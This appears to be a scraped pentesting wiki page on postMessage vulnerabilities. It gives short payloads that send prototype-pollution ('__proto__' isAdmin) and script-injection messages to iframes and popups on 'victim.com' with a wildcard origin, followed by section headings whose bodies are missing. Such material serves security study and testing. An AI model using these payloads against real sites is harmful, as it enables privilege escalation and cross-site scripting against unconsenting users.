PostMessage Vulnerabilities
PostMessage Vulnerabilities
Send PostMessage
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')Attacking iframe & wildcard in targetOrigin
addEventListener exploitation
Enumeration


Origin check bypasses
e.origin == window.origin bypass
Bypassing SOP with Iframes - 1Bypassing e.source
Bypassing SOP with Iframes - 2X-Frame-Header bypass
Stealing message sent to child by blocking the main page
Blocking main page to steal postmessageStealing message by modifying iframe location
Steal postmessage modifying iframe locationpostMessage to Prototype Pollution and/or XSS
References
Last updated

